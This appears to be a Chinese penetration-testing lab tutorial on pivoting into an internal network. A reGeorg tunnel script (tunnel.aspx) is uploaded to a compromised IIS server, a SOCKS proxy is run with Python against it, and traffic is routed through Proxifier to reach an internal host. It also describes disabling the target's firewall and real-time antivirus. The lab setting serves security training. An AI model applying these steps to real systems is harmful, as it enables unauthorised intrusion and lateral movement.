关闭靶机电脑的防火墙及病毒和威胁防护的实时防护。
开启内网主机的远程桌面。
在被控服务器windows2008虚拟机上面安装IIS服务器。
reGeorg-master内网穿透工具
proxifier代理工具客户端
内网渗透不光只是反弹一个shell,反弹一个端口,我们更需要对内网进行更深一步的扫描和渗透,这时候就需要找到一个代理服务器,充当外网和内网数据转发的节点,通过这个被我们控制的服务器,把所在网段的流量转发到公网(互联网)。
所以出现了反弹代理,也叫反弹socket。
在我们进行渗透测试过程中,获得了目标服务器的getshell权限后,要对内网其它服务器或者主机进一步渗透;这样的话,需要对其他主机进行信息收集,端口、服务探测及漏洞扫描等操作。
进行这样操作,只进行反弹shell和端口转发已经不能满足需求,需要进一步进行反弹代理,通过我们控制的目标服务器,把目标服务器作为代理服务器,充当外网和内网数据转发的节点,把所在内网网段的流量引出到公网,这样的话,就方便我们对目标服务器所在内网网段的其他主机进行探测及漏洞利用了。
HTTP/HTTPS 协议:
HTTP Service代理用于将所有的流量转发到内网。常见的代理工具有reGeorg、meterpreter.tunna等。
reGeorg是reDuh的升级版,主要功能是把内网服务器端口的数据通过HTTP/HTTPS隧道转发到本机,实现基于HTTP协议的通信。reGeorg 脚本的特征非常明显,很多杀毒软件都会对其进行查杀。
reGeorg 支持ASPX、PHP、 JSP等Web脚本,并特别提供了一个TomcatS版本如图所示:
$ git clone https://github.com/L-codes/Neo-reGeorg.git
$ python3 neoreg.py -h # 查看帮助
# 可选参数:
-h, --help # 显示此帮助信息并退出
-u URI, --url URI # 包含隧道脚本的url
-k KEY, --key KEY # 特定连接密钥
-l IP, --listen-on IP # 默认监听地址 (默认值: 127.0.0.1)
-p PORT, --listen-port PORT # 默认监听端口 (默认值: 1080)
-s, --skip # 跳过可用性测试
-H LINE, --header LINE # 将自定义标题行传递到服务器
-c LINE, --cookie LINE # 自定义到服务器的cookie
-x LINE, --proxy LINE # proto://host[:port] 在给定端口上使用代理
--read-buff Bytes # 本地读取缓冲区,每个日志发送的最大数据(默认值: 1024)
--read-interval MS # 读取数据间隔(毫秒) (默认值: 100)
--max-threads N # 代理最大线程数 (默认值: 1000)
-v # 显示详细信息 (使用-vv或者更多的v显示更详细的信息)
reGeorg分为客户端和服务端,服务端需要上传到被控主机网站路径下,客户端在本地连接服务端即可:
在我们能够访问被控服务器,而且只能访问被控服务器的80/443端口;被控服务器无法访问互联网,这样就代表着我们不能使用反向代理;正向连接的话,攻击者只能连接被控服务器的80或者443端口,这样我们只能使用80,443进行代理,像这种情况,我们就需要使用http代理。
角色 | 系统 | 网卡 | IP(网段) |
---|---|---|---|
攻击者 | windows10物理机 | ||
被控主机1 | windows08虚拟机 | NAT VMnet1 |
192.168.100.158 172.16.10.10 |
内网主机 | windows03虚拟机 | VMnet1 | 172.16.10.11 |
正向代理是服务器开放监听端口,客户端(攻击者)主动连接服务器的端口。
适用于被控服务器拥有一个公网IP。
1、这里需要根据被控主机使用的脚本类型进行上传,本次实验的服务器是IIS服务器,服务器脚本是aspx的,这里上传tunnel.aspx到被控服务器网站路径:
2、使用浏览器访问上传的tunnel.aspx文件,必须显示Georg says, 'All seems fine'
才表明是可用:
3、在攻击者的物理机上面执行下面命令,用来连接http代理的服务端,由于服务端脚本使用的python2编写的,所以必须使用python2来执行脚本:
命令:
python2 reGeorgSocksProxy.py -u http://[被控主机的IP/URL]/tunnel.aspx
python2 reGeorgSocksProxy.py -u http://192.168.100.158/tunnel.aspx
-l IP, --listen-on IP # 默认监听地址 (默认值: 127.0.0.1)
-p PORT, --listen-port PORT # 默认监听端口 (默认值: 1080)
这个命令的意思就是,在攻击者本地使用reGeorgSocksProxy.py主动连接我们上传到【被控主机】的代理服务端,并且攻击者在本地监听8888端口用于接收服务端的代理出来的流量。
4、使用proxifier代理工具客户端把代理流量代理出来:
5、代理规则用默认即可!
代理规则其实就相当于指定哪个软件的流量经过代理?哪些不经过代理?例如:一般情况下我们需要使用浏览器访问内网的网页,所以就需要给浏览器配置经过代理,其它不需要代理的软件就这设为direct模式(不经过代理)。
注意:
监听代理时候注意规则:以Proxifier为例子,将python.exe添加列外,不然会死循环。
localhost;127.0.0.1;%ComputerName%;::1
6、在物理机上面连接【被控主机】所在内网段的内网主机172.16.10.11: